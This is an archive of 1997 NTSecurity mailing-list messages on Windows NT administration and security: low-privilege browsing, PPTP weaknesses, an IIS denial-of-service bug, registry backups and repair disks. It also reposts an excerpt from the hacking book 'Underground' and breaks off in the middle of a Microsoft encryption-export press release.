> > Cantrade Bank Ltd. Phone CH+ (0)1 295 2587
> > Morgartenstrasse 1 Office patrik.eigenheer@cantrade.ch
> > 8000 Zurich Privat patrik.eigenheer@netlink.ch
> > Switzerland
> > 
> > -----Original Message-----
> > From: Swaim, Mike [SMTP:mpswaim@gdseng.com]
> > Sent: Montag, 23. Juni 1997 23:17
> > To: 'ntsecurity@iss.net'
> > Subject: RE: [NTSEC] Running browser as non-privlaged user
> > 
> > While a goal may be to keep sites from grabbing your password,
> > something that's more important
> > to me is that any ActiveX or Java applet that I run has full run of 
> > the
> > system if it's run as me. It'd
> > be much safer to run it as sludge-man, who has minimal rights on my
> > machine. That way if I did
> > catch something malicious, it would only be able to do minimal 
> > damage.
> > 
> > Mike "Special Agent of Chaos" Swaim
> > Work: mpswaim@gdseng.com Home: swaim@phoenix.net
> > Disclaimer: I Lie
> > 
> > > -----Original Message-----
> > > From: James Strompolis [SMTP:Jim_St@msn.com]
> > > Sent: Monday, June 23, 1997 3:55 PM
> > > Cc: ntsecurity@iss.net
> > > Subject: RE: [NTSEC] Running browser as non-privlaged user
> > >
> > > su.exe raises the logged in user's privilege level to that of 
> > admin,
> > > they're
> > > interested in making the browser appear to be logged in as a
> lesser
> > > user while
> > > actually logged in as an Administrator. The goal is to keep 
> > malicious
> > >
> > > web-sites from glomming your admin password.
> > >
> 
The compelling reason for using PPTP for me is that at
the server (connected permanently to the Internet) I
have a tight filtering arrangement which only permits
PPTP packets to and from the server. This to me makes
the server a lot more resistant to malicious arbitrary 
attacks from the Internet.

Rob Barnes

> -----Original Message-----
> From: Russ [SMTP:Russ.Cooper@rc.on.ca]
> Sent: Tuesday, June 24, 1997 11:03 PM
> To: ntsecurity@iss.net; 'George Hulst'
> Subject: RE: [NTSEC] pptp non-Internet connections
> 
> PPTP is a mechanism for encapsulating PPP packets within IP packets.
> So
> in your diagram,
> 
> NT client --modem------pstn/isdn------modem--NT/Server (RAS)----LAN
> 
> You'll notice that you have no IP segments, hence, PPTP would not work
> in this scenario.
> 
> However, it should be pointed out that there is no value of PPTP in
> this
> scenario anyway. PPTP adds nothing to PPP outside of allowing it to be
> sent over IP mediums. You can create as encrypted a channel with as
> strong authentication using PPP as you can with PPTP (no comment
> intended here about how encrypted or how strong the authentication
> is).
> 
> So the question back to you is, why did you think you needed to use
> PPTP
> in this configuration as opposed to simple Remote Access Services?
> 
> Cheers,
> Russ
> R.C. Consulting, Inc. - NT/Internet Security
> owner of the NTBugTraq mailing list:
> http://ntbugtraq.rc.on.ca/index.html
Don't run explorer 4 as your shell. I know that I won't.

Mike "Special Agent of Chaos" Swaim
Work: mpswaim@gdseng.com Home: swaim@phoenix.net
Disclaimer: I Lie

> -----Original Message-----
> From: Eigenheer Patrik, EIP [SMTP:Patrik.Eigenheer@cantrade.ch]
> Sent: Tuesday, June 24, 1997 12:32 AM
> To: 'Swaim, Mike'; 'ntsecurity@iss.net'
> Subject: RE: [NTSEC] Running browser as non-privlaged user
> 
> HI "Special Agent of Chaos"
> 
> What do u do if u have the Internet explorer 4.0 ?
> So the "explorer.exe" starts as shell and with logged on user rights 
> :-)
> So u can't start the application with the "su.exe" and all 
> subscribions (java applets) are running with logged on user rights !!!
> 
> :-(
> 
> Any solusions ?
> 
> Regards,
> Patrik Eigenheer
> 
> Cantrade Bank Ltd. Phone CH+ (0)1 295 2587
> Morgartenstrasse 1 Office patrik.eigenheer@cantrade.ch
> 8000 Zurich Privat patrik.eigenheer@netlink.ch
> Switzerland
> 
> -----Original Message-----
> From: Swaim, Mike [SMTP:mpswaim@gdseng.com]
> Sent: Montag, 23. Juni 1997 23:17
> To: 'ntsecurity@iss.net'
> Subject: RE: [NTSEC] Running browser as non-privlaged user
> 
> While a goal may be to keep sites from grabbing your password,
> something that's more important
> to me is that any ActiveX or Java applet that I run has full run of 
> the
> system if it's run as me. It'd
> be much safer to run it as sludge-man, who has minimal rights on my
> machine. That way if I did
> catch something malicious, it would only be able to do minimal 
> damage.
> 
> Mike "Special Agent of Chaos" Swaim
> Work: mpswaim@gdseng.com Home: swaim@phoenix.net
> Disclaimer: I Lie
> 
> > -----Original Message-----
> > From: James Strompolis [SMTP:Jim_St@msn.com]
> > Sent: Monday, June 23, 1997 3:55 PM
> > Cc: ntsecurity@iss.net
> > Subject: RE: [NTSEC] Running browser as non-privlaged user
> >
> > su.exe raises the logged in user's privilege level to that of 
> admin,
> > they're
> > interested in making the browser appear to be logged in as a lesser
> > user while
> > actually logged in as an Administrator. The goal is to keep 
> malicious
> >
> > web-sites from glomming your admin password.
> >
>The compelling reason for using PPTP for me is that at
>the server (connected permanently to the Internet) I
>have a tight filtering arrangement which only permits
>PPTP packets to and from the server. This to me makes
>the server a lot more resistant to malicious arbitrary 
>attacks from the Internet.

Well, a filtered PPTP server, as you describe, has questionable
abilities to be "a lot more resistant to malicious arbitrary attacks
from the Internet", particularly since you don't say what you are
comparing it to.

If the choice was such a PPTP server, or, nothing (straight SMB across
the net), then YES, you are definitely correct. But if you are comparing
PPTP to some tunnel product that stands on, or behind, a Firewall, then
I'd definitely disagree.

- NT has slim chance against a Denial of Service attack (you'd have to
shutdown and restart, thereby killing all your PPTP sessions, in order
to alter its ability to withstand syn floods)
- provides no monitoring (unless you use Steelhead) of attack attempts
- authenticates with its remote host using a C/R mechanism that's known
to be weak (ultimately there is a CIFS plaintext equivalent hash sent by
the client to the server, and in the case of Steelhead, from the server
back to the client also)
- still allows source-routed packets
- PPTP alone, i.e. without using the strong data encryption, doesn't
prevent the insertion of packets into the GRE stream along the way. So a
hijacked PPTP session could turn into a complete network connection
since you have no method to filter inbound PPTP traffic once its reached
your PPTP server (i.e. you can't limit what a PPTP client can see inside
your network using the PPTP server, you'd have to put another
router/Firewall in place to do this)

IPSEC, Global Internet's TNT (http://www.gi.net), or Check Point's
SecuRemote all offer far more protection than a tied down PPTP server
does.

That being said, you get a lot more protection by adding Routing and RAS
(Steelhead) to such a server assuming it can control its ISP connection
(i.e. it acts as your dial-up router to the Internet). Never the less,
its still not as much as you would have with a product that has active
monitoring and dynamic abilities reflecting inbound traffic (i.e. can
adjust itself to dump portscanning addresses or better deal with syn
flooding).

Its a matter of what you can afford, what risks you are willing to
accept, and how well you understand what you are actually going to get
from the installation.

Cheers,
Russ
R.C. Consulting, Inc. - NT/Internet Security
owner of the NTBugTraq mailing list:
http://ntbugtraq.rc.on.ca/index.html

Anyone read this book? Apparently the first in-depth investigation
into the international computer underground to come out of the
Southern-Hemisphere - or so I'm told ;) - J.A

Extracts from Underground - The true nature of System X

 Extracted from Chapter 10 - "Anthrax - The Outsider"
 
 Note: System X's name has been changed for legal reasons.
 
 Sometimes the time just slipped away, hacking all night. When the first hint
 of dawn snuck up on him, he was invariably in the middle of some exciting
 journey. But duty was duty, and it had to be done. So Anthrax pressed control
 S to freeze his screen, unfurled the prayer mat with its built-in compass,
 faced Mecca, knelt down and did two sets of prayers before sunrise. Ten
 minutes later he rolled the prayer mat up, slid back into his chair, typed
 control Q to release the pause on his computer and picked up where he left
 off.
 
 This company's computer system seemed to confirm what he had begun to
 suspect. System X was the first stage of a project, the rest of which was
 under development. He found a number of tables and reports in System X's
 files. The reports carried headers like 'Traffic Analysis', 'calls in' and
 'calls out', 'failure rate'. It all began to make sense to Anthrax.
 
 System X called up each of the military telephone exchanges in that list. It
 logged in using the computer-generated name and password. Once inside, a
 program in System X polled the exchange for important statistics, such as the
 number of calls coming in and out of the base. This information was then
 stored on System X. Whenever someone wanted a report on something, for
 example, the military sites with the most incoming calls over the past 24
 hours, he or she would simply ask System X to compile the information. All of
 this was done automatically.
 
 Anthrax had read some email suggesting that changes to an exchange, such as
 adding new telephone lines on the base, had been handled manually, but this
 job was soon to be done automatically by System X. It made sense. The
 maintenance time spent by humans would be cut dramatically.
 
 A machine which gathers statistics and services phone exchanges remotely
 doesn't sound very sexy on the face of it, until you begin to consider what
 you could do with something like that. You could sell it to a foreign power
 interested in the level of activity at a certain base at a particular time.
 And that is just the beginning.
 
 You could tap any unencrypted line going in or out of any of the 100 or so
 exchanges and listen in to sensitive military discussions. Just a few
 commands makes you a fly on the wall of a general's conversation to the head
 of a base in the Philippines. Anti-government rebels in that country might
 pay a pretty penny for getting intelligence on the US forces.
 
 All of those options paled next to the most striking power wielded by a
 hacker who had unlimited access to System X and the 100 or so telephone
 exchanges. He could take down that US military voice communications system
 almost overnight, and he could do it automatically. The potential for havoc
 creation was breathtaking. It would be a small matter for a skilled
 programmer to alter the automated program used by System X. Instead of using
 its dozen or more modems to dial all the exchanges overnight and poll them
 for statistics, System X could be instructed to call them overnight and
 reprogram the exchanges.
 
 ---

 No-one would be able to reach one another. An important part of the US
 military machine would be in utter disarray. Now, what if all this happened
 in the first few days of a war? People trying to contact each other with
 vital information wouldn't be able to use the telephone exchanges
 reprogrammed by System X.
 
 THAT was power.
 
 It wasn't like Anthrax screaming at his father until his voice turned to a
 whisper, all for nothing. He could make people sit up and take notice with
 this sort of power.
 
 Hacking a system gave him a sense of control. Getting root on a system always
 gave him an adrenalin rush for just that reason. It meant the system was his,
 he could do whatever he wanted, he could run whatever processes or programs
 he desired, he could remove other users he didn't want using his system. He
 thought, I own the system. The word 'own' anchored the phrase which circled
 through his thoughts again and again when he successfully hacked a system.
 
 The sense of ownership was almost passionate, rippled with streaks of
 obsession and jealousy. At any given moment, Anthrax had a list of systems he
 owned and that had captured his interest for that moment. Anthrax hated
 seeing a system administrator logging onto one of those systems. It was an
 invasion. It was as though Anthrax had just got this woman he had been after
 for some time alone in a room with the door closed. Then, just as he was
 getting to know her, this other guy had barged in, sat down on the couch and
 started talking to her.
 
 It was never enough to look at a system from a distance and know he could
 hack it if he wanted to. Anthrax had to actually hack the system. He had to
 own it. He needed to see what was inside the system, to know exactly what it
 was he owned.
 
 The worst thing admins could do was to fiddle with system security. That made
 Anthrax burn with anger. If Anthrax was on-line, silently observing the
 adminsÕ activities, he would feel a sudden urge to log them off. He wanted to
 punish them. Wanted them to know he was into their system. And yet, at the
 same time, he didnÕt want them to know. Logging them off would draw attention
 to himself, but the two desires pulled at him from opposite directions. What
 Anthrax really wanted was for the admins to know he controlled their system,
 but for them not to be able to do anything about it. He wanted them to be
 helpless.
 
 Anthrax decided to keep undercover. But he contemplated the power of having
 System X's list of telephone exchange dial-ups and their username - password
 combinations. Normally, it would take days for a single hacker with his lone
 modem to have much impact on the US military's communications network. Sure,
 he could take down a few exchanges before the military wised up and started
 protecting themselves. It was like hacking a military computer. You could
 take out a machine here, a system there. But the essence of the power of
 System X was being able to use its own resources to orchestrate widespread
 pandemonium quickly and quietly.
 
 Anthrax defines power as the potential for real world impact. At that moment
 of discovery and realisation, the real world impact of hacking System X
 looked good. The telecommunications company computer seemed like a good place
 to hang up a sniffer, so he plugged one into the machine and decided to
 return in a little while. Then he logged out and went to bed.
 
 When he revisited the sniffer a day or so later, Anthrax received a rude
 shock. Scrolling through the sniffer file, he did a double take on one of the
 entries. Someone had logged into the company's system using his special login
 patch password.
 
 He tried to stay calm. He thought hard. When was the last time he had logged
 into the system using that special password? Could his sniffer have logged
 himself on an earlier hacking session? It did happen occasionally. Hackers
 sometimes gave themselves quite a fright. In the seamless days and nights of
 hacking dozens of systems, it was easy to forget the last time you logged
 into a particular system using the special password. The more he thought, the
 more he was absolutely sure. He hadn't logged into the system again.
 
 Which left the obvious question. Who had?
 ________________________________________________________________________
 [This extract may be reposted non-commercially and without charge only]

 Underground; Tales of Hacking, Madness and Obsession on the Electronic
 Frontier, by Suelette Dreyfus; published by Mandarin (Random House
 Australia); (P) 475 pages with bib. http://www.underground-book.com/ or
 http://underground.org/book
OK, here's the chuckle asuming humor... 

Barring that, the "shutdown" actually shows up as a Dr. Watson. So I
don't think it's part of the normal stuff.

yadda, yadda, conspiracy theory, blah, blah, Roswell, yadda, yadda ...

> -----Original Message-----
> From: Wes Morgan [SMTP:wmorgan@DataBeam.com]
> Sent: Tuesday, June 24, 1997 10:16 AM
> To: ntsecurity@iss.net
> Subject: Re: [NTSEC] new bug in NT 4 running IIS 3 *AND* 2.0
> 
> 
> 
> > update Hackers exploited a bug in Microsoft's (MSFT) server
> software,
> > jamming the company's Web site since yesterday. 
> > 
> > The hackers are apparently exploiting a bug in Windows NT 4.0
> running
> > Microsoft's Internet Information Server version 3.0, in which the
> > entire site is jammed by someone typing in a specific URL into a Web
> > browser, according to Mike Nash, director of marketing for Windows
> NT
> > server. 
> 
> After reading the announcement from Microsoft and the accompanying
> Knowledge Base article, I think I've put things together. This is
> not a bug, it's a (mis)feature.
> 
> Source is http://www.microsoft.com/iis/iisnews/hotnews/issue_tb.htm
> 
> According to Microsoft, a "very special URL" can bring down IIS.
> They are careful to state that there is no one URL that works on
> all IIS installations, but that the URL varies with the current
> state of the server (current memory and current load, among other
> unspecified data). Furthermore, MS states that "a program might
> find the right URL sequence and cause the web server to stop running."
> 
> The KB article (linked from the URL above) states that the URL
> is actually a CGI request that contains between 4 and 8Kb of data.
> 
> Putting this together and reading between the appropriate lines,
> my guess is that:
> - This dynamically generated "shutdown" URL is used by
> IIS remote management. (It may even be used in normal
> from-the-console service shutdown, but I doubt it.)
> - One can apparently sniff these packets from the wire
> and deduce their format/contents.
> - If Joe Hacker can hammer IIS with iterations of this
> URL until he hits the right one, that implies that IIS
> does not (or did not, before the patch) authenticate the
> source of remote management URLs.
> It is also possible that this is some "back door" that was never
> closed, and that is has nothing to do with remote management.
> 
> I hear rumors that this particular DoS is already floating around
> the underground in executable form (i.e. "What IIS site do you
> want to shut down?") 
> 
> If anyone is in a position to verify that this URL nonsense is
> built into the remote IIS management stuff, I'd like to hear it.
> 
> It looks like the hotfix is a patched W3SVC.DLL...the hotfix.inf
> file include the comment "This fix is for the long URL parsing
> Access Violation," which doesn't seem to mesh with either the
> press release or the KB article. None of the publicly dissemi-
> nated information mentions any sort of Access Violation error.
> 
> This *really* seems like some serious evasion...
> 
> --Wes
> 
> 
At 11:12 AM 6/24/97 -0400, Michael E. McKay wrote:
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>MICROSOFT NEWS 
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>MICROSOFT RESPONDS TO INTERNET INFORMATION SERVER DENIAL OF SERVICE
>ISSUE
>Microsoft has identified an IIS issue which can be exploited by a
>malicious hacker, making IIS temporarily unavailable. 

Is it only hackers that do things like this? Can we say hostile
competitors, or maybe religious zealots, and what about political
terrorists? Who writes these things anyways. Microsoft get real. It does
not take much skill to exploit problems like the one mentioned in the
article (how much skill does it take to program something resistant to such
attacks?), so one does not have to be a hacker techno geek to attack you. I
only write this because the stereo type portrayed by the Microsoft News
article does nobody any good.

 


Dominique Brezinski
----------------------------------------------------
My opinions expressed here, and in any public forum, 
are my own and do not represent those of my employer 
or its clients. I am an individual, and I will 
retain those rights of free speech granted to me, 
regardless of my employment status. 
On Tue, 24 Jun 1997, Wes Morgan wrote:

> After reading the announcement from Microsoft and the accompanying
> Knowledge Base article, I think I've put things together. This is
> not a bug, it's a (mis)feature.

Unless this is something completely new, like happened within the last 5 
hours, I think what your talking about is a real live bug, and not some 
bizzaro backdoor, remote-managment access device gone wild. The 

> Putting this together and reading between the appropriate lines,
> my guess is that:
> - This dynamically generated "shutdown" URL is used by
> IIS remote management. (It may even be used in normal
> from-the-console service shutdown, but I doubt it.)
> - One can apparently sniff these packets from the wire
> and deduce their format/contents.
> - If Joe Hacker can hammer IIS with iterations of this
> URL until he hits the right one, that implies that IIS
> does not (or did not, before the patch) authenticate the
> source of remote management URLs.
> It is also possible that this is some "back door" that was never
> closed, and that is has nothing to do with remote management.

Is this was MS gets for not publishing extremely detailed reports on the 
bug? Conspiracy Theories? Roswell IIS?


> If anyone is in a position to verify that this URL nonsense is
> built into the remote IIS management stuff, I'd like to hear it.

It is a bug, there is a an explanation (but the details have been edited 
out for some reason by Todd.

http://www.eden.com/~tfast/iisbug.html

> Access Violation," which doesn't seem to mesh with either the
> press release or the KB article. None of the publicly dissemi-
> nated information mentions any sort of Access Violation error.

How does it not mesh?

Craig Brozefsky craig@onshore.com
onShore Inc. http://www.onshore.com/~craig
Development Team p_priority=PFUN+(p_work/4)+(2*p_cash)



you can try this
http://www.inlink.com/~sangria/floplock.zip
Guy


> 2) Is the %systemroot%\repair\sam._ updated as Ids and passwords
> change or does it only reflect access at time of install (so if
> passwords changed since install, then file not that helpful to
> hackers)?

It only reflects access at time of install.
You can update the info with the "rdisk" (=repair disk) tool, choosing the
"Update Repair Disk"
button.

You can save/backup all the registry infos using the reskit tools regback /
regrest.
Remember: a full backup of a NTS is useless to backup the reg infos !

I use the winat scheduler to do the following CMD weekly on every NTS:
creating a dir %systemroot%\users\default\, cd 
%systemroot%\users\default\ 
and deleting the directories that are older then one month
with my program called mddate:

mddate
IF ERRORLEVEL 1 GOTO ERR
%systemroot%\regback %systemroot%\users\default\
IF ERRORLEVEL 1 GOTO ERR
GOTO GOOD
:ERR
(err eventlogentry is done by another lttle program)
GOTO FIN
:GOOD
(eventlogentry is done by another little program)
(internal SMTP mail is send to the admins with windmail (shareware
program): 
>From @ 
TO @, @, ...
HEADER: Regbackup done
:FIN

If you don´t backup the registry you can´t restore a NTS completely.
All new users, all print queues and all shares are eliminated since the
last regbackup.
Remember that the domain user infos are only stored on the PDC and BDC´s, 
printer and share infos are on the local db´s of PDC, BDC and server.

Jens Peschke, Hannover Germany



FYI, there is no 'iexplore.exe' as such in IE4.0 - it is simply a small
program that launches a new explorer window. When you install IE4, the
'explorer.exe' executable is changed to the new version of internet
explorer which integrates the shell and the web browser.

To stop IE sending hashes of your password, block port 139 (should be
blocked anyway for other reasons).

Netscape and IE are pretty much the same as far as security goes - both
have had their scares lately. We use IE because it is free (strange the
number of people that think Netscape is free).

John Wiltshire

> -----Original Message-----
> From: Juha Jäykkä [SMTP:juolja@utu.fi]
> Sent: Wednesday, June 25, 1997 4:00 AM
> To: Eigenheer Patrik, EIP
> Cc: 'Swaim, Mike'; 'ntsecurity@iss.net'
> Subject: Re: [NTSEC] Running browser as non-privlaged user
> 
> > What do u do if u have the Internet explorer 4.0 ?
> > So the "explorer.exe" starts as shell and with logged on user rights
> 
> You must mean iexplore.exe? Explorer.exe is the usual nt40 shell.
> 
> > Any solusions ?
> 
> Do not run iexplore as your shell? Use netscape? I wouldn't trust IE
> anyway since it uses transparent NTLM (and SMB, but that can be
> prevented) autentication, thus effectively givin away your hashed
> password, username, domain- and hostnames etc.
> 
> -- 
> Juha Jäykkä, juolja@utu.fi
If you do a search on KiXtart you'll find a number of good links for
pages with references and examples around

HTH
Steve


Keith Pyper wrote:
> 
> Hi,
> 
> I am looking into creating login scripts for my NT servers.
> Does anybody have some good sample login scripts or know where I can
> find them.
> 
> 
> Thanks Keith.

-- 
--------------------------------------------------------------------
Steve Toomey | EMail : toomeys@dircon.co.uk 
London, UK | Home Page :
Mobile : 44 (0)468 720960 | http://www.users.dircon.co.uk/~toomeys
Office : 44 (0)171 392 3609 |
--------------------------------------------------------------------
Can anyone take me out of this list..please...

tanx
Esteban

On Tuesday, June 24, 1997 1:32 AM, Michael J. Miller Jr. 
[SMTP:mke@llnl.gov] wrote:
> On Mon, 23 Jun 1997, Dominique Brezinski wrote:
>
> > su.exe works that way also, it is not limited to becoming admin. RTFM.
>
> Newbie question here...
>
> Does NT have the concept of SUID programs? IE, you can make a program 
run
> as if it is being run by an arbitrary user? I know that this 
functionality
> has lead to a lot of security issues in Unix, but it would be a lot more
> secure if it were restricted to non admin accounts. It would also give
> a simple solution to these sorts of problems. Just make the web
> browser be SUID some harmless user.
>
> -
> Mike Miller
> mke@llnl.gov
> speaking for myself
>
>

[ i cc'd this to stefan since i thought he might have a view on the 
matter... ]

as far as i can work out, the preferred way of getting suid-like behaviour 
is to have a service running that can perform privileged actions on behalf 
of non-privileged processes. some ipc mechanism (rpc, named pipe) can be 
used to contact the service, which has the option of doing things in its 
own right, or of impersonating the client (eg i thinkthere's an api call 
called ImpersonateNamedPipeClient() that does just that) when servicing the 
request. it's (obviously) up to the author of the service to implement the 
necessary security precautions.

an example of such a service is susrv, a service-based su utility (see 
http://www.informatik.hu-berlin.de/~skrause - source too!) that tries to 
avoid the special rights requirements of the su.exe available with the nt 
resource kit. (note that in order to use su.exe, the client must have 
certain rights that only the system - not even administrators - normally 
has (SeTcbPrivilege) - and the doco for some of these rights is a bit vague 
about the full ramifications of those rights. ms's own security white 
paper claims that SeIncreaseQuotaPrivilege has no effect in NT4.0, but you 
need to assign it to use su.exe...) If the service is running as system 
(the usual way) it will automatically have all those rights.

but i'm wondering just how safe susrv is - it uses a named pipe for 
client-service ipc, and passes the password unencrypted over this 
mechanism. but as long as the named pipe is set up with appropriate 
permissions [is it possible to restrict use of named pipes to local 
connections only? ie deny connection requests from the network] it should 
be possible to ensure that the service will only respond to requests from 
specified users logged in on the machine on which the service is running. 
 (the service locates the client's desktop and spawns the requested app 
there, which at present can only be done locally anyway - but who knows how 
the winstation/desktop api will be used in the future? and it all happens 
after the password is entered anyway, so it offers no protection of the 
password unless... sorry thinking aloud here)

one thing that su.exe does that susrv doesn't is load the registry hive for 
the new user. depending on what you're su-ing for, this may or may not be 
a problem.

the other big problem is that you can't spawn a new explorer as the new 
user, since explorer only allows a single instance to run. (this would 
apply to all single-instance apps.) since all the desktop and folder 
navigation is done via explorer, and things like briefcases and (most 
importantly) the control panel are implemented as desktop extensions 
running through the explorer, this is a bit of a hindrance. luckily 
winfile (the old file manager) can be run for folder navigation as the new 
user (but without access to desktop extensions etc),and i've been 
experimenting with running control panel applets directly from the command 
line via rundll32.exe (a knowledgebase article describes how to use this 
technique to run control panel applets from VB). the trick there is 
finding out (by trial and error) which dll or cpl implements the applets 
you want. i'm still playing around with this though. depending on whether 
the applet controls user preferences or service parameters, the absence of 
the new user's registery hive may or may not be a problem. but i'm assuming 
that one of the most common uses for this technique would be manipulating 
service parameters without having to log off a user, and that generally 
only affects HKEY_LOCAL_MACHINE keys.



of course i still haven't worked out whether all this can't be achieved 
more painlessly by some other means. but that's my rundown on what i 
understand about the whole su / suid / service / whatever deal.

hope it's not all hot air
jd



================================================
 Jeremy Davies 

 Orb Integration Technologists Limited
 93 Tabernacle St, London EC2A 4BA, England.
 Phone: +44-171-490-1888 Fax: +44-171-490-7757
 Mobile: +44-956-657268
================================================

Sorry this is not directly related to security but...
Does anyone know of, and have any experience of a good disk
defragmentation utility for NTFS partitions?

Regards JohnG.

--
John Gould - Senior Systems Support Engineer
Power Innovations Limited, Manton Lane, Bedford, MK41 7BJ, England
PGP - Public key available
email: johng@powinv.co.uk
Tel: +44 1234 223002 Fax: +44 1234 223011
--

Frankly, I find this type of announcement very irritating. Microsoft did not 
identify the problem in their IIS code, somebody else did.

Yet more M$ whitewash, methinks .....



Clem

______________________________ Reply Separator _________________________________
Subject: [NTSEC] Official Microsoft response to ISS denial of servi
Author: mckaymi (mckaymi@dti.net) at unix,mime
Date: 24/06/97 16:12


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
MICROSOFT NEWS 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MICROSOFT RESPONDS TO INTERNET INFORMATION SERVER DENIAL OF SERVICE ISSUE
Microsoft has identified an IIS issue which can be exploited by a malicious 
hacker, making IIS temporarily unavailable. It does not effect Windows NT 
Server or comprimise sensitive data in any way. However, it forces IIS to 
become unavailable for a short time and is easily remedied by restarting 
the web server. Microsoft takes issues like these very seriously and has 
responded rapidly by addressing the issue with a permanent fix that 
prohibits this specific type of attack and also records the IP address of 
the attacker in a log file. For details on this issue, visit: 
http://www.microsoft.com/iis/iisnews/hotnews/issue.htm

The Hot-fix for this specific issue, available on the Microsoft Web site 
today at: 

ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP
3/iis-fix. 


-- 
--------------------------------------------------- 
Michael McKay | Phone: 212-695-5445 
MasterNet, Inc. | Fax: 212-643-2384 134 
W. 32nd St., Suite 400 | Email: mckaymi@dti.net New 
York, NY 10016-3201 |
---------------------------------------------------

"Imagine, if you will, 
a world without hypothetical situations."

Dominique Brezinski writes:

> At 11:12 AM 6/24/97 -0400, Michael E. McKay wrote:
> >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >MICROSOFT NEWS 
> >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> >MICROSOFT RESPONDS TO INTERNET INFORMATION SERVER DENIAL OF SERVICE
> >ISSUE
> >Microsoft has identified an IIS issue which can be exploited by a
> >malicious hacker, making IIS temporarily unavailable. 
> 
> Is it only hackers that do things like this? Can we say hostile
> competitors, or maybe religious zealots, and what about political
> terrorists?

At least they had the decency to use the phrase `malicious hacker',
tacitly accepting that not all hackers are malicious. However,
speaking as an old-fashioned hacker I'd much rather they used
'cracker' or even 'scum'.

> Who writes these things anyways. Microsoft get real. It does not
> take much skill to exploit problems like the one mentioned in the
> article (how much skill does it take to program something resistant
> to such attacks?),

Apparently more skill than Microsoft posesses. At least they fixed the
damn thing relatively quickly this time. Possibly something to do with
the fact that they were the ones getting hit.

> so one does not have to be a hacker techno geek to attack you.

It took someone with a hacker mindset (ie curiousity combined with
technical ability) to find the problem. Of course once he released the
java applet to exploit the bug then anyone and their dog could
perpetrate the attack.

> I only write this because the stereo type portrayed by the Microsoft
> News article does nobody any good.

Strongly seconded.

-- 
Piers Cawley -- Systems Genie for Aladdin
If a `religion' is defined to be a system of ideas that contains
unprovable statements, then Godel taught us that mathematics is not
only a religion, it is the only religion that can prove itself to be
one. -- John Barrow
You can get your data back by installing another copy of NT onto the NTFS 
partition (provided that you have the free space.

Yes, you need a new ERD for every computer running Windows NT.

Run RDISK, preferably with the -S option, as this backs up your SAM (user 
accounts) to the disk as well (as long as there are not too many to fit 
onto one disk).

You need to update it as often as you make changes to your system:
 - change user account information (if you are using the -S option)
 - change your disk partitions
 - install service pack
 - etc.

Regards

Ben Thomas
BA(Th), MCT, MCSE, MCSD

mailto://bthomas@pro.co.nz
http://www.pro.co.nz

Ph: Intl+64 (4) 577 3771
Fx: Intl+64 (4) 577 3772
Mobile: 025-59 59 59


-----Original Message-----
From: mcarmody@ix.netcom.com [SMTP:mcarmody@ix.netcom.com]
Sent: Tuesday, June 24, 1997 5:10 PM
To: ntsecurity@iss.net
Subject: [NTSEC] Emergency Repair Diskette (ERD)

I have been told that if the hard drive has been formatted NTFS, an ERD is
the only tool standing between a crashed machine, and loosing all data and 
reloading NT (I was told this crash would be caused by deleting or
corrupting boot files, or other problems with booting caused by permissions 
being incorrectly set).

Is this true?

Do I need an ERD for each and every server and workstation running NT?

Where does the ERD come from/how do I create it?

How often does this ERD need to be updated, and how do I do the updates?


Check the "log on locally" user right.

Regards

Ben Thomas
BA(Th), MCT, MCSE, MCSD

mailto://bthomas@pro.co.nz
http://www.pro.co.nz

Ph: Intl+64 (4) 577 3771
Fx: Intl+64 (4) 577 3772
Mobile: 025-59 59 59


-----Original Message-----
From: Tom Kiernan [SMTP:tkiernan@orcc.com]
Sent: Wednesday, June 25, 1997 2:40 AM
To: NT Security Mailing List (E-mail)
Subject: [NTSEC] workstation login

Here's a weird question. I have a pretty clean NT 4.0 workstation system 
that I have just finished installing. I had done everything up until now 
using the administrator account and privileges since I was installing, etc. 
 When I created some regular user accounts, the accounts cannot log in. 
 The error given is that the account doesn't have permission to log into 
*this* workstation. This is a stand alone workstation in a small workgroup 
with 1 or 2 other NTWS systems (which work fine). Since this is not in a 
domain, there is no provision to set workstation by workstation login 
privileges as with domains.

The admin accounts can always log in. My inclination is that I can log in 
as admin because something is confused and NT is letting the admin accounts 
in, overriding or ignoring whatever the error condition is that might 
prevent less privileged logins.

Details:

NT workstation 4.0 sp3
Operating outside a domain
User accounts are valid and not disabled, nothing obvious like that
Admin accts work fine
User, power user accounts don't work

There must be some permission that I have set incorrectly, or that NT has 
decided to help me by setting for me.

Any help would be appreciated,

Tom


Tom Kiernan
Senior Software Engineer
Online Resources and Communications Corporation
tkiernan@orcc.com
www.orcc.com




-
Rick Bertoncin
Server Development Group
Ford System Integration Center
rbertonc@ford.com


-----Original Message-----
From: Ted Williamson [SMTP:tedwill@MICROSOFT.com]
Sent: Tuesday, June 24, 1997 9:55 PM
To: Rick Bertoncin
Subject: FW: Microsoft Obtains Government License for Export of 128-Bit Encryption

Good news for NT 4 and 5 being installed in other countries.
-Ted
> -----Original Message-----
> From: Dean Davis 
> Sent: Tuesday, June 24, 1997 5:41 PM
> To: MCS Consultants Communications; Directory Service Discussion
> Forum; NY Networks
> Subject: Microsoft Obtains Government License for Export of
> 128-Bit Encryption
> 
> 
> 
> Company Press Release
> 
> Source: Microsoft Corp.
> 
> Microsoft Obtains Government License for Export of 128-Bit Encryption
> 
> Provides Highest Level of Security for Worldwide Financial
> Transactions
> 
> REDMOND, Wash., June 24 /PRNewswire/ -- Microsoft Corp. (Nasdaq:MSFT)
> today announced it has obtained U.S. government approval for the
> export of powerful 128-bit encryption to banks worldwide for
> protection of online financial transactions. 
> 
> The U.S. Department of Commerce license, issued June 10, will permit
> Microsoft to enable 128-bit encryption security between banks and
> their customers in products that support the secure sockets layer
> (SSL) or transport layer security (TLS) protocols. The encryption
> technology will be incorporated in all domestic and export versions of
> Microsoft(r) products dealing with the Internet, beginning with
> Microsoft Internet Explorer 4.0, Microsoft Money 98 and Microsoft
> Internet Information Server. 
> 
> Previously, U.S. export laws limited U.S. software products to no more
> than 64-bit encryption for financial data. Banks can now build secure
> online financial systems based on off-the-shelf Microsoft products and
